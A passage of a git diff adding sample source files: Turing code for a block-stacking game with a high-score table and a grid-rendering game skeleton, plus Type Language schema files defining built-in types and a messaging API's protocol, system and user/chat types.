+    splash (upper (splash)).block := i
+end stopBlock
+
+%----------------high scores--------------------
+
+type scores :
+    record
+	name : string (5)
+	score : int
+    end record
+var highScores : array 1 .. 10 of scores
+var currentHS : scores
+currentHS.name := ""
+
+const fileName := "BlockTowerHS.bin"
+var fileNo : int
+procedure createFile
+    open : fileNo, fileName, write
+    for i : 1 .. 10
+	highScores (i).name := "Name"
+	highScores (i).score := 0
+	write : fileNo, highScores (i)
+    end for
+    close : fileNo
+end createFile
+
+procedure loadHS
+    if File.Exists (fileName) then
+	open : fileNo, fileName, read
+	for i : 1 .. 10
+	    read : fileNo, highScores (i)
+	end for
+	close : fileNo
+    else
+	createFile
+	loadHS
+    end if
+end loadHS
+
+procedure saveHS
+    open : fileNo, fileName, write
+    for i : 1 .. 10
+	write : fileNo, highScores (i)
+    end for
+    close : fileNo
+end saveHS
+
+procedure sortScores
+    for i : 1 .. 10
+	if i = 1 then
+	    if currentHS.score >= highScores (i).score then
+		for decreasing j : 10 .. 2
+		    highScores (j).score := highScores (j - 1).score
+		    highScores (j).name := highScores (j - 1).name
+		end for
+		highScores (i).score := currentHS.score
+		highScores (i).name := currentHS.name
+	    end if
+	else
+	    if currentHS.score >= highScores (i).score and currentHS.score < highScores (i - 1).score then
+		for decreasing j : 10 .. i
+		    highScores (j).score := highScores (j - 1).score
+		    highScores (j).name := highScores (j - 1).name
+		end for
+		highScores (i).score := currentHS.score
+		highScores (i).name := currentHS.name
+	    end if
+	end if
+    end for
+end sortScores
+
+procedure getName
+    var test : string
+    loop
+	locate (20, maxcol div 2 - 6)
+	put ""
+	locate (20, maxcol div 2 - 6)
+	put "Name: " ..
+	View.Update
+	get test
+	if length (test) <= 5 then
+	    currentHS.name := test
+	    currentHS.score := score
+	    exit
+	end if
+    end loop
+end getName
+
+procedure displayHS
+    loadHS
+    locate (7, maxcol div 2 - 6)
+    put "High Scores"
+    for i : 1 .. 10
+	if highScores (i).name = currentHS.name and highScores (i).score = currentHS.score then
+	    locate (7 + i, maxcol div 2 - 9)
+	    put ">"
+	end if
+	locate (7 + i, maxcol div 2 - 7)
+	put highScores (i).name
+	locate (7 + i, maxcol div 2 + 6 - length (intstr (highScores (i).score)))
+	put highScores (i).score
+	if highScores (i).name = currentHS.name and highScores (i).score = currentHS.score then
+	    locate (7 + i, maxcol div 2 + 7)
+	    put "<"
+	end if
+    end for
+    locate (19, maxcol div 2 - (4 + length (intstr (score)) div 2))
+    put "Score: ", score
+end displayHS
+
+%------------------------losing--------------------------
+procedure playAgain
+    View.Set ("offscreenonly")
+    lvl := 1
+    score := 0
+    spd := 2
+    clawX := maxx div 2
+    clawY := maxy div 2
+    new blocks, 0
+    new splash, 0
+    ground := 5
+    highest := 0
+    currentHS.name := ""
+    currentHS.score := 0
+end playAgain
+
+var chars : array char of boolean
+var gameOver := false
+procedure loseGame
+    View.Set ("nooffscreenonly")
+    cls
+    put "You Lose!"
+    put "You got to level ", lvl, "!"
+    put "Score: ", score
+    displayHS
+    getName
+    sortScores
+    saveHS
+    displayHS
+    locate (21, maxcol div 2 - 14)
+    put "Press <Enter> To Play Again"
+    locate (22, maxcol div 2 - 10)
+    put "Press <Esc> To Quit"
+    delay (500)
+    Input.Flush
+    loop
+	Input.KeyDown (chars)
+	if chars (KEY_ENTER) then
+	    playAgain
+	    exit
+	elsif chars (KEY_ESC) then
+	    gameOver := true
+	    exit
+	end if
+    end loop
+end loseGame
+
+%---------------------interactions------------------------
+
+procedure collisions
+    var i : int := 0
+    loop
+	exit when i >= upper (blocks)
+	i += 1
+	if blocks (i) -> falling then
+	    for j : 1 .. upper (blocks)
+		if i not= j then
+		    if blocks (i) -> y - blocks (j) -> y <= blocks (i) -> size div 2 + blocks (j) -> size div 2
+			    and blocks (j) -> falling = false and blocks (j) -> y not= clawY then
+			if blocks (i) -> x >= blocks (j) -> x then
+			    if blocks (i) -> x - blocks (j) -> x <= blocks (i) -> size div 2 + blocks (j) -> size div 2 then
+				stopBlock (i, j)
+			    end if
+			elsif blocks (i) -> x < blocks (j) -> x then
+			    if blocks (j) -> x - blocks (i) -> x <= blocks (i) -> size div 2 + blocks (j) -> size div 2 then
+				stopBlock (i, j)
+			    end if
+			end if
+		    end if
+		end if
+	    end for
+	    if (blocks (i) -> y <= ground or blocks (i) -> y < 0) and i not= 1 then
+		loseGame
+	    elsif blocks (i) -> y <= ground then
+		blocks (i) -> falling := false
+		blocks (i) -> y := blocks (i) -> size div 2 + ground
+		blocks (i) -> vSpd := 0
+		blocks (i) -> hSpd := 0
+		checkHeight (i)
+		score += lvl
+	    end if
+	end if
+    end loop
+end collisions
+
+var blockPress := false
+procedure keyPresses
+    Input.KeyDown (chars)
+    if chars (KEY_ENTER) and blockPress = false then
+	blocks (upper (blocks)) -> falling := true
+	createBlock
+	blockPress := true
+	lvl := floor ((upper (blocks) - 1) / 5) + 1
+	if spd > 0 then
+	    spd := 2 + 0.25 * lvl
+	elsif spd < 0 then
+	    spd := -2 - 0.25 * lvl
+	end if
+    end if
+    if chars (KEY_ENTER) = false then
+	blockPress := false
+    end if
+end keyPresses
+
+%-------------------------------art------------------------------
+
+procedure manageSplashes
+    var counter := 0
+    loop
+	counter += 1
+	exit when counter > upper (splash)
+	splash (counter).duration -= 30
+	if splash (counter).duration <= 0 then
+	    for i : counter .. upper (splash) - 1
+		splash (i).lvl := splash (i + 1).lvl
+		splash (i).aim := splash (i + 1).aim
+		splash (i).duration := splash (i + 1).duration
+		splash (i).block := splash (i + 1).block
+	    end for
+	    new splash, upper (splash) - 1
+	    counter -= 1
+	end if
+    end loop
+end manageSplashes
+
+procedure draw
+    var font := Font.New ("arial:12")
+    var splashFont := Font.New ("arial:10")
+    cls
+    for i : 1 .. upper (blocks)
+	blocks (i) -> draw
+    end for
+    for i : 1 .. upper (splash)
+	Font.Draw ("+" + intstr (splash (i).lvl) + " +" + intstr (splash (i).aim), round (blocks (splash (i).block) -> x + blocks (splash (i).block) -> size div 2) + 2,
+	    round (blocks (splash (i).block) -> y), splashFont, black)
+    end for
+    Draw.Line (0, ground, maxx, ground, black)
+    Draw.Line (rangeLow, round (clawY), rangeHigh, round (clawY), black)
+    Font.Draw ("Level " + intstr (lvl), 1, maxy - 13, font, black)
+    Font.Draw ("Score " + intstr (score), 1, maxy - 28, font, black)
+    %Font.Draw ("Aim = " + realstr (aim, 0), 1, maxy - 43, font, black)
+    %Font.Draw ("Total = " + intstr (total), 1, maxy - 58, font, black)
+    %Font.Draw ("Dif = " + intstr (dif), 1, maxy - 73, font, black)
+    %Draw.FillOval (round (clawX), round (clawY), 5, 5, brightred)
+    %Draw.Line (0, maxy div 3 * 2, maxx, maxy div 3 * 2, brightred)
+    View.Update
+end draw
+
+%-----------------main--------------------
+createBlock
+loop
+    keyPresses
+    moveClaw
+    moveBlocks
+    collisions
+    manageSplashes
+    exit when gameOver
+    draw
+    Time.DelaySinceLast (30)
+end loop
+cls
diff --git a/samples/Turing/start.t b/samples/Turing/start.t
new file mode 100644
index 0000000000..fbeeb21a5a
--- /dev/null
+++ b/samples/Turing/start.t
@@ -0,0 +1,90 @@
+put "Preparing game..."
+
+setscreen ("graphics:max;max,")
+put "[LM] Fullscreen"
+
+const pervasive BLOCKSIZE : int := 32
+
+% Splits screen into 64x64 sized grid
+class pervasive GridRenderer
+    export calculateX, calculateY, drawAt
+    
+    function calculateX(x : int) : int
+        result BLOCKSIZE * x
+    end calculateX
+    
+    function calculateY(y : int) : int
+        result BLOCKSIZE * y
+    end calculateY
+    
+    procedure drawAt(picID : int, x : int, y : int)
+        var realX := calculateX(x) + 1
+        var realY := calculateY(y) + 1
+        drawfillbox(realX,realY,realX+BLOCKSIZE,realY+BLOCKSIZE,picID)
+    end drawAt
+end GridRenderer
+put "[LM] GridRenderer"
+
+type pervasive objectType : enum (player, grass, tree, faggot)
+class pervasive GameObject
+    var objName : string
+    var objType : objectType
+    procedure drawAt(x : int, y : int)
+    end drawAt
+end GameObject
+put "[LM] GameObject"
+
+class pervasive GameMap
+    
+    export setup, update
+    
+    var p1ViewingAreaTopLeftCornerX : int := 0
+    var p1ViewingAreaTopLeftCornerY : int := 0
+    var p1ViewingAreaBtmRightCornerX : int := 15
+    var p1ViewingAreaBtmRightCornerY : int := 15
+    % THIS IS NOT HOW THESE VARIABLES ARE SUPPOSED TO BE USED, FIX IT
+    var p2ViewingAreaTopLeftCornerX : int := 17
+    var p2ViewingAreaTopLeftCornerY : int := 0
+    var p2ViewingAreaBtmRightCornerX : int := 32
+    var p2ViewingAreaBtmRightCornerY : int := 15
+    var masterMap : array 0 .. 999, 0 .. 999 of pointer to GameObject
+    var grenderer : pointer to GridRenderer
+    
+    procedure update
+        % Draw player 2
+        for x : p1ViewingAreaTopLeftCornerX .. p1ViewingAreaBtmRightCornerX
+            for y : p1ViewingAreaTopLeftCornerY .. p1ViewingAreaBtmRightCornerY
+                grenderer -> drawAt(x+y, x, y)
+            end for
+        end for
+            % Draw seperator
+            for x : p1ViewingAreaBtmRightCornerX .. p2ViewingAreaBtmRightCornerX
+            for y : p1ViewingAreaTopLeftCornerY .. p1ViewingAreaBtmRightCornerY
+                grenderer -> drawAt(black, x, y)
+            end for
+        end for
+            % Draw player 2
+        for x : p2ViewingAreaTopLeftCornerX .. p2ViewingAreaBtmRightCornerX
+            for y : p2ViewingAreaTopLeftCornerY.. p2ViewingAreaBtmRightCornerY
+                grenderer -> drawAt(x+y, x, y)
+            end for
+        end for
+    end update
+    
+    procedure setup
+        for x : 1..upper(masterMap, 1)
+            for y : 1..upper(masterMap, 2)
+                %masterMap(x, y)
+            end for
+        end for
+            new GridRenderer, grenderer
+    end setup
+    
+end GameMap
+put "[LM] GameMap"
+
+var map : pointer to GameMap
+new GameMap, map
+map -> setup()
+map -> update()
+put "[LM] Game"
\ No newline at end of file
diff --git a/samples/Type Language/builtin.tl b/samples/Type Language/builtin.tl
new file mode 100644
index 0000000000..845c2d7b36
--- /dev/null
+++ b/samples/Type Language/builtin.tl	
@@ -0,0 +1,39 @@
+// built-in types
+int#a8509bda ? = Int;
+long ? = Long;
+double ? = Double;
+string ? = String;
+null = Null;
+
+vector {t:Type} # [ t ] = Vector t;
+coupleInt {alpha:Type} int alpha = CoupleInt<alpha>;
+coupleStr {gamma:Type} string gamma = CoupleStr gamma;
+
+/* The name of the type variable is irrelevant: "gamma" could be replaced with "alpha"
+  However, the combinator number will depend on the specific choice. */
+
+intHash {alpha:Type} vector<coupleInt<alpha>> = IntHash<alpha>;
+strHash {alpha:Type} (vector (coupleStr alpha)) = StrHash alpha;
+intSortedHash {alpha:Type} intHash<alpha> = IntSortedHash<alpha>;
+strSortedHash {alpha:Type} (strHash alpha) = StrSortedHash alpha;
+
+// custom types
+pair x:Object y:Object = Pair;
+triple x:Object y:Object z:Object = Triple;
+
+user#d23c81a3 id:int first_name:string last_name:string = User;
+no_user#c67599d1 id:int = User;
+group id:int title:string last_name:string = Group;
+no_group = Group;
+
+---functions---
+
+// Maybe some built-in arithmetic functions; inverse quotes make "identifiers" out of arbitrary non-alphanumeric strings
+`+` Int Int = Int;
+`-` Int Int = Int;
+`+` Double Double = Double;
+// ...
+
+// API functions (aka RPC functions)
+getUser#b0f732d5 int = User;
+getUsers#2d84d5f5 (Vector int) = Vector User;
\ No newline at end of file
diff --git a/samples/Type Language/scheme.tl b/samples/Type Language/scheme.tl
new file mode 100644
index 0000000000..f6d33af6e9
--- /dev/null
+++ b/samples/Type Language/scheme.tl	
@@ -0,0 +1,1102 @@
+// Core types (no need to gen)
+
+//vector#1cb5c415 {t:Type} # [ t ] = Vector t;
+
+///////////////////////////////
+/////////////////// Layer cons
+///////////////////////////////
+
+//invokeAfterMsg#cb9f372d msg_id:long query:!X = X;
+//invokeAfterMsgs#3dc4b4f0 msg_ids:Vector<long> query:!X = X;
+//invokeWithLayer1#53835315 query:!X = X;
+//invokeWithLayer2#289dd1f6 query:!X = X;
+//invokeWithLayer3#b7475268 query:!X = X;
+//invokeWithLayer4#dea0d430 query:!X = X;
+//invokeWithLayer5#417a57ae query:!X = X;
+//invokeWithLayer6#3a64d54d query:!X = X;
+//invokeWithLayer7#a5be56d3 query:!X = X;
+//invokeWithLayer8#e9abd9fd query:!X = X;
+//invokeWithLayer9#76715a63 query:!X = X;
+//invokeWithLayer10#39620c41 query:!X = X;
+//invokeWithLayer11#a6b88fdf query:!X = X;
+//invokeWithLayer12#dda60d3c query:!X = X;
+//invokeWithLayer13#427c8ea2 query:!X = X;
+//invokeWithLayer14#2b9b08fa query:!X = X;
+//invokeWithLayer15#b4418b64 query:!X = X;
+//invokeWithLayer16#cf5f0987 query:!X = X;
+//invokeWithLayer17#50858a19 query:!X = X;
+//invokeWithLayer18#1c900537 query:!X = X;
+//invokeWithLayer#da9b0d0d layer:int query:!X = X; // after 18 layer
+
+///////////////////////////////
+/// Authorization key creation
+///////////////////////////////
+
+
+resPQ#05162463 nonce:int128 server_nonce:int128 pq:string server_public_key_fingerprints:Vector<long> = ResPQ;
+
+p_q_inner_data#83c95aec pq:string p:string q:string nonce:int128 server_nonce:int128 new_nonce:int256 = P_Q_inner_data;
+
+server_DH_params_fail#79cb045d nonce:int128 server_nonce:int128 new_nonce_hash:int128 = Server_DH_Params;
+server_DH_params_ok#d0e8075c nonce:int128 server_nonce:int128 encrypted_answer:string = Server_DH_Params;
+
+server_DH_inner_data#b5890dba nonce:int128 server_nonce:int128 g:int dh_prime:string g_a:string server_time:int = Server_DH_inner_data;
+
+client_DH_inner_data#6643b654 nonce:int128 server_nonce:int128 retry_id:long g_b:string = Client_DH_Inner_Data;
+
+dh_gen_ok#3bcbf734 nonce:int128 server_nonce:int128 new_nonce_hash1:int128 = Set_client_DH_params_answer;
+dh_gen_retry#46dc1fb9 nonce:int128 server_nonce:int128 new_nonce_hash2:int128 = Set_client_DH_params_answer;
+dh_gen_fail#a69dae02 nonce:int128 server_nonce:int128 new_nonce_hash3:int128 = Set_client_DH_params_answer;
+
+destroy_auth_key_ok#f660e1d4 = DestroyAuthKeyRes;
+destroy_auth_key_none#0a9f2259 = DestroyAuthKeyRes;
+destroy_auth_key_fail#ea109b13 = DestroyAuthKeyRes;
+
+---functions---
+
+req_pq#60469778 nonce:int128 = ResPQ;
+
+req_DH_params#d712e4be nonce:int128 server_nonce:int128 p:string q:string public_key_fingerprint:long encrypted_data:string = Server_DH_Params;
+
+set_client_DH_params#f5045f1f nonce:int128 server_nonce:int128 encrypted_data:string = Set_client_DH_params_answer;
+
+destroy_auth_key#d1435160 = DestroyAuthKeyRes;
+
+///////////////////////////////
+////////////// System messages
+///////////////////////////////
+
+---types---
+
+msgs_ack#62d6b459 msg_ids:Vector<long> = MsgsAck;
+
+bad_msg_notification#a7eff811 bad_msg_id:long bad_msg_seqno:int error_code:int = BadMsgNotification;
+bad_server_salt#edab447b bad_msg_id:long bad_msg_seqno:int error_code:int new_server_salt:long = BadMsgNotification;
+
+msgs_state_req#da69fb52 msg_ids:Vector<long> = MsgsStateReq;
+msgs_state_info#04deb57d req_msg_id:long info:string = MsgsStateInfo;
+msgs_all_info#8cc0d131 msg_ids:Vector<long> info:string = MsgsAllInfo;
+
+msg_detailed_info#276d3ec6 msg_id:long answer_msg_id:long bytes:int status:int = MsgDetailedInfo;
+msg_new_detailed_info#809db6df answer_msg_id:long bytes:int status:int = MsgDetailedInfo;
+
+msg_resend_req#7d861a08 msg_ids:Vector<long> = MsgResendReq;
+
+//rpc_result#f35c6d01 req_msg_id:long result:Object = RpcResult; // parsed manually
+
+rpc_error#2144ca19 error_code:int error_message:string = RpcError;
+
+rpc_answer_unknown#5e2ad36e = RpcDropAnswer;
+rpc_answer_dropped_running#cd78e586 = RpcDropAnswer;
+rpc_answer_dropped#a43ad8b7 msg_id:long seq_no:int bytes:int = RpcDropAnswer;
+
+future_salt#0949d9dc valid_since:int valid_until:int salt:long = FutureSalt;
+future_salts#ae500895 req_msg_id:long now:int salts:vector<future_salt> = FutureSalts;
+
+pong#347773c5 msg_id:long ping_id:long = Pong;
+
+destroy_session_ok#e22045fc session_id:long = DestroySessionRes;
+destroy_session_none#62d350c9 session_id:long = DestroySessionRes;
+
+new_session_created#9ec20908 first_msg_id:long unique_id:long server_salt:long = NewSession;
+
+//message msg_id:long seqno:int bytes:int body:Object = Message; // parsed manually
+//msg_container#73f1f8dc messages:vector<message> = MessageContainer; // parsed manually
+//msg_copy#e06046b2 orig_message:Message = MessageCopy; // parsed manually, not used - use msg_container
+//gzip_packed#3072cfa1 packed_data:string = Object; // parsed manually
+
+http_wait#9299359f max_delay:int wait_after:int max_wait:int = HttpWait;
+
+---functions---
+
+rpc_drop_answer#58e4a740 req_msg_id:long = RpcDropAnswer;
+
+get_future_salts#b921bd04 num:int = FutureSalts;
+
+ping#7abe77ec ping_id:long = Pong;
+ping_delay_disconnect#f3427b8c ping_id:long disconnect_delay:int = Pong;
+
+destroy_session#e7512126 session_id:long = DestroySessionRes;
+
+contest.saveDeveloperInfo#9a5f6e95 vk_id:int name:string phone_number:string age:int city:string = Bool;
+
+///////////////////////////////
+///////// Main application API
+///////////////////////////////
+
+---types---
+
+boolFalse#bc799737 = Bool;
+boolTrue#997275b5 = Bool;
+
+true#3fedd339 = True;
+
+vector#1cb5c415 {t:Type} # [ t ] = Vector t;
+
+error#c4b9f9bb code:int text:string = Error;
+
+null#56730bcc = Null;
+
+inputPeerEmpty#7f3b18ea = InputPeer;
+inputPeerSelf#7da07ec9 = InputPeer;
+inputPeerChat#179be863 chat_id:int = InputPeer;
+inputPeerUser#7b8e7de6 user_id:int access_hash:long = InputPeer;
+inputPeerChannel#20adaef8 channel_id:int access_hash:long = InputPeer;
+
+inputUserEmpty#b98886cf = InputUser;
+inputUserSelf#f7c1b13f = InputUser;
+inputUser#d8292816 user_id:int access_hash:long = InputUser;
+
+inputPhoneContact#f392b7f4 client_id:long phone:string first_name:string last_name:string = InputContact;
+
+inputFile#f52ff27f id:long parts:int name:string md5_checksum:string = InputFile;
+inputFileBig#fa4f0bb5 id:long parts:int name:string = InputFile;
+
+inputMediaEmpty#9664f57f = InputMedia;
+inputMediaUploadedPhoto#630c9af1 flags:# file:InputFile caption:string stickers:flags.0?Vector<InputDocument> = InputMedia;
+inputMediaPhoto#e9bfb4f3 id:InputPhoto caption:string = InputMedia;
+inputMediaGeoPoint#f9c44144 geo_point:InputGeoPoint = InputMedia;
+inputMediaContact#a6e45987 phone_number:string first_name:string last_name:string = InputMedia;
+inputMediaUploadedDocument#d070f1e9 flags:# file:InputFile mime_type:string attributes:Vector<DocumentAttribute> caption:string stickers:flags.0?Vector<InputDocument> = InputMedia;
+inputMediaUploadedThumbDocument#50d88cae flags:# file:InputFile thumb:InputFile mime_type:string attributes:Vector<DocumentAttribute> caption:string stickers:flags.0?Vector<InputDocument> = InputMedia;
+inputMediaDocument#1a77f29c id:InputDocument caption:string = InputMedia;
+inputMediaVenue#2827a81a geo_point:InputGeoPoint title:string address:string provider:string venue_id:string = InputMedia;
+inputMediaGifExternal#4843b0fd url:string q:string = InputMedia;
+inputMediaPhotoExternal#b55f4f18 url:string caption:string = InputMedia;
+inputMediaDocumentExternal#e5e9607c url:string caption:string = InputMedia;
+inputMediaGame#d33f43f3 id:InputGame = InputMedia;
+inputMediaInvoice#92153685 flags:# title:string description:string photo:flags.0?InputWebDocument invoice:Invoice payload:bytes provider:string start_param:string = InputMedia;
+
+inputChatPhotoEmpty#1ca48f57 = InputChatPhoto;
+inputChatUploadedPhoto#927c55b4 file:InputFile = InputChatPhoto;
+inputChatPhoto#8953ad37 id:InputPhoto = InputChatPhoto;
+
+inputGeoPointEmpty#e4c123d6 = InputGeoPoint;
+inputGeoPoint#f3b7acc9 lat:double long:double = InputGeoPoint;
+
+inputPhotoEmpty#1cd7bf0d = InputPhoto;
+inputPhoto#fb95c6c4 id:long access_hash:long = InputPhoto;
+
+inputFileLocation#14637196 volume_id:long local_id:int secret:long = InputFileLocation;
+inputEncryptedFileLocation#f5235d55 id:long access_hash:long = InputFileLocation;
+inputDocumentFileLocation#430f0724 id:long access_hash:long version:int = InputFileLocation;
+
+inputAppEvent#770656a8 time:double type:string peer:long data:string = InputAppEvent;
+
+peerUser#9db1bc6d user_id:int = Peer;
+peerChat#bad0e5bb chat_id:int = Peer;
+peerChannel#bddde532 channel_id:int = Peer;
+
+storage.fileUnknown#aa963b05 = storage.FileType;
+storage.filePartial#40bc6f52 = storage.FileType;
+storage.fileJpeg#7efe0e = storage.FileType;
+storage.fileGif#cae1aadf = storage.FileType;
+storage.filePng#a4f63c0 = storage.FileType;
+storage.filePdf#ae1e508d = storage.FileType;
+storage.fileMp3#528a0677 = storage.FileType;
+storage.fileMov#4b09ebbc = storage.FileType;
+storage.fileMp4#b3cea0e4 = storage.FileType;
+storage.fileWebp#1081464c = storage.FileType;
+
+fileLocationUnavailable#7c596b46 volume_id:long local_id:int secret:long = FileLocation;
+fileLocation#53d69076 dc_id:int volume_id:long local_id:int secret:long = FileLocation;
+
+userEmpty#200250ba id:int = User;
+user#2e13f4c3 flags:# self:flags.10?true contact:flags.11?true mutual_contact:flags.12?true deleted:flags.13?true bot:flags.14?true bot_chat_history:flags.15?true bot_nochats:flags.16?true verified:flags.17?true restricted:flags.18?true min:flags.20?true bot_inline_geo:flags.21?true id:int access_hash:flags.0?long first_name:flags.1?string last_name:flags.2?string username:flags.3?string phone:flags.4?string photo:flags.5?UserProfilePhoto status:flags.6?UserStatus bot_info_version:flags.14?int restriction_reason:flags.18?string bot_inline_placeholder:flags.19?string lang_code:flags.22?string = User;
+
+userProfilePhotoEmpty#4f11bae1 = UserProfilePhoto;
+userProfilePhoto#d559d8c8 photo_id:long photo_small:FileLocation photo_big:FileLocation = UserProfilePhoto;
+
+userStatusEmpty#9d05049 = UserStatus;
+userStatusOnline#edb93949 expires:int = UserStatus;
+userStatusOffline#8c703f was_online:int = UserStatus;
+userStatusRecently#e26f42f1 = UserStatus;
+userStatusLastWeek#7bf09fc = UserStatus;
+userStatusLastMonth#77ebc742 = UserStatus;
+
+chatEmpty#9ba2d800 id:int = Chat;
+chat#d91cdd54 flags:# creator:flags.0?true kicked:flags.1?true left:flags.2?true admins_enabled:flags.3?true admin:flags.4?true deactivated:flags.5?true id:int title:string photo:ChatPhoto participants_count:int date:int version:int migrated_to:flags.6?InputChannel = Chat;
+chatForbidden#7328bdb id:int title:string = Chat;
+channel#a14dca52 flags:# creator:flags.0?true kicked:flags.1?true left:flags.2?true editor:flags.3?true moderator:flags.4?true broadcast:flags.5?true verified:flags.7?true megagroup:flags.8?true restricted:flags.9?true democracy:flags.10?true signatures:flags.11?true min:flags.12?true id:int access_hash:flags.13?long title:string username:flags.6?string photo:ChatPhoto date:int version:int restriction_reason:flags.9?string = Chat;
+channelForbidden#8537784f flags:# broadcast:flags.5?true megagroup:flags.8?true id:int access_hash:long title:string = Chat;
+
+chatFull#2e02a614 id:int participants:ChatParticipants chat_photo:Photo notify_settings:PeerNotifySettings exported_invite:ExportedChatInvite bot_info:Vector<BotInfo> = ChatFull;
+channelFull#c3d5512f flags:# can_view_participants:flags.3?true can_set_username:flags.6?true id:int about:string participants_count:flags.0?int admins_count:flags.1?int kicked_count:flags.2?int read_inbox_max_id:int read_outbox_max_id:int unread_count:int chat_photo:Photo notify_settings:PeerNotifySettings exported_invite:ExportedChatInvite bot_info:Vector<BotInfo> migrated_from_chat_id:flags.4?int migrated_from_max_id:flags.4?int pinned_msg_id:flags.5?int = ChatFull;
+
+chatParticipant#c8d7493e user_id:int inviter_id:int date:int = ChatParticipant;
+chatParticipantCreator#da13538a user_id:int = ChatParticipant;
+chatParticipantAdmin#e2d6e436 user_id:int inviter_id:int date:int = ChatParticipant;
+
+chatParticipantsForbidden#fc900c2b flags:# chat_id:int self_participant:flags.0?ChatParticipant = ChatParticipants;
+chatParticipants#3f460fed chat_id:int participants:Vector<ChatParticipant> version:int = ChatParticipants;
+
+chatPhotoEmpty#37c1011c = ChatPhoto;
+chatPhoto#6153276a photo_small:FileLocation photo_big:FileLocation = ChatPhoto;
+
+messageEmpty#83e5de54 id:int = Message;
+message#c09be45f flags:# out:flags.1?true mentioned:flags.4?true media_unread:flags.5?true silent:flags.13?true post:flags.14?true id:int from_id:flags.8?int to_id:Peer fwd_from:flags.2?MessageFwdHeader via_bot_id:flags.11?int reply_to_msg_id:flags.3?int date:int message:string media:flags.9?MessageMedia reply_markup:flags.6?ReplyMarkup entities:flags.7?Vector<MessageEntity> views:flags.10?int edit_date:flags.15?int = Message;
+messageService#9e19a1f6 flags:# out:flags.1?true mentioned:flags.4?true media_unread:flags.5?true silent:flags.13?true post:flags.14?true id:int from_id:flags.8?int to_id:Peer reply_to_msg_id:flags.3?int date:int action:MessageAction = Message;
+
+messageMediaEmpty#3ded6320 = MessageMedia;
+messageMediaPhoto#3d8ce53d photo:Photo caption:string = MessageMedia;
+messageMediaGeo#56e0d474 geo:GeoPoint = MessageMedia;
+messageMediaContact#5e7d2f39 phone_number:string first_name:string last_name:string user_id:int = MessageMedia;
+messageMediaUnsupported#9f84f49e = MessageMedia;
+messageMediaDocument#f3e02ea8 document:Document caption:string = MessageMedia;
+messageMediaWebPage#a32dd600 webpage:WebPage = MessageMedia;
+messageMediaVenue#7912b71f geo:GeoPoint title:string address:string provider:string venue_id:string = MessageMedia;
+messageMediaGame#fdb19008 game:Game = MessageMedia;
+messageMediaInvoice#84551347 flags:# shipping_address_requested:flags.1?true test:flags.3?true title:string description:string photo:flags.0?WebDocument receipt_msg_id:flags.2?int currency:string total_amount:long start_param:string = MessageMedia;
+
+messageActionEmpty#b6aef7b0 = MessageAction;
+messageActionChatCreate#a6638b9a title:string users:Vector<int> = MessageAction;
+messageActionChatEditTitle#b5a1ce5a title:string = MessageAction;
+messageActionChatEditPhoto#7fcb13a8 photo:Photo = MessageAction;
+messageActionChatDeletePhoto#95e3fbef = MessageAction;
+messageActionChatAddUser#488a7337 users:Vector<int> = MessageAction;
+messageActionChatDeleteUser#b2ae9b0c user_id:int = MessageAction;
+messageActionChatJoinedByLink#f89cf5e8 inviter_id:int = MessageAction;
+messageActionChannelCreate#95d2ac92 title:string = MessageAction;
+messageActionChatMigrateTo#51bdb021 channel_id:int = MessageAction;
+messageActionChannelMigrateFrom#b055eaee title:string chat_id:int = MessageAction;
+messageActionPinMessage#94bd38ed = MessageAction;
+messageActionHistoryClear#9fbab604 = MessageAction;
+messageActionGameScore#92a72876 game_id:long score:int = MessageAction;
+messageActionPaymentSentMe#8f31b327 flags:# currency:string total_amount:long payload:bytes info:flags.0?PaymentRequestedInfo shipping_option_id:flags.1?string charge:PaymentCharge = MessageAction;
+messageActionPaymentSent#40699cd0 currency:string total_amount:long = MessageAction;
+messageActionPhoneCall#80e11a7f flags:# call_id:long reason:flags.0?PhoneCallDiscardReason duration:flags.1?int = MessageAction;
+
+dialog#66ffba14 flags:# pinned:flags.2?true peer:Peer top_message:int read_inbox_max_id:int read_outbox_max_id:int unread_count:int notify_settings:PeerNotifySettings pts:flags.0?int draft:flags.1?DraftMessage = Dialog;
+
+photoEmpty#2331b22d id:long = Photo;
+photo#9288dd29 flags:# has_stickers:flags.0?true id:long access_hash:long date:int sizes:Vector<PhotoSize> = Photo;
+
+photoSizeEmpty#e17e23c type:string = PhotoSize;
+photoSize#77bfb61b type:string location:FileLocation w:int h:int size:int = PhotoSize;
+photoCachedSize#e9a734fa type:string location:FileLocation w:int h:int bytes:bytes = PhotoSize;
+
+geoPointEmpty#1117dd5f = GeoPoint;
+geoPoint#2049d70c long:double lat:double = GeoPoint;
+
+auth.checkedPhone#811ea28e phone_registered:Bool = auth.CheckedPhone;
+
+auth.sentCode#5e002502 flags:# phone_registered:flags.0?true type:auth.SentCodeType phone_code_hash:string next_type:flags.1?auth.CodeType timeout:flags.2?int = auth.SentCode;
+
+auth.authorization#cd050916 flags:# tmp_sessions:flags.0?int user:User = auth.Authorization;
+
+auth.exportedAuthorization#df969c2d id:int bytes:bytes = auth.ExportedAuthorization;
+
+inputNotifyPeer#b8bc5b0c peer:InputPeer = InputNotifyPeer;
+inputNotifyUsers#193b4417 = InputNotifyPeer;
+inputNotifyChats#4a95e84e = InputNotifyPeer;
+inputNotifyAll#a429b886 = InputNotifyPeer;
+
+inputPeerNotifyEventsEmpty#f03064d8 = InputPeerNotifyEvents;
+inputPeerNotifyEventsAll#e86a2c74 = InputPeerNotifyEvents;
+
+inputPeerNotifySettings#38935eb2 flags:# show_previews:flags.0?true silent:flags.1?true mute_until:int sound:string = InputPeerNotifySettings;
+
+peerNotifyEventsEmpty#add53cb3 = PeerNotifyEvents;
+peerNotifyEventsAll#6d1ded88 = PeerNotifyEvents;
+
+peerNotifySettingsEmpty#70a68512 = PeerNotifySettings;
+peerNotifySettings#9acda4c0 flags:# show_previews:flags.0?true silent:flags.1?true mute_until:int sound:string = PeerNotifySettings;
+
+peerSettings#818426cd flags:# report_spam:flags.0?true = PeerSettings;
+
+wallPaper#ccb03657 id:int title:string sizes:Vector<PhotoSize> color:int = WallPaper;
+wallPaperSolid#63117f24 id:int title:string bg_color:int color:int = WallPaper;
+
+inputReportReasonSpam#58dbcab8 = ReportReason;
+inputReportReasonViolence#1e22c78d = ReportReason;
+inputReportReasonPornography#2e59d922 = ReportReason;
+inputReportReasonOther#e1746d0a text:string = ReportReason;
+
+userFull#f220f3f flags:# blocked:flags.0?true phone_calls_available:flags.4?true phone_calls_private:flags.5?true user:User about:flags.1?string link:contacts.Link profile_photo:flags.2?Photo notify_settings:PeerNotifySettings bot_info:flags.3?BotInfo common_chats_count:int = UserFull;
+
+contact#f911c994 user_id:int mutual:Bool = Contact;
+
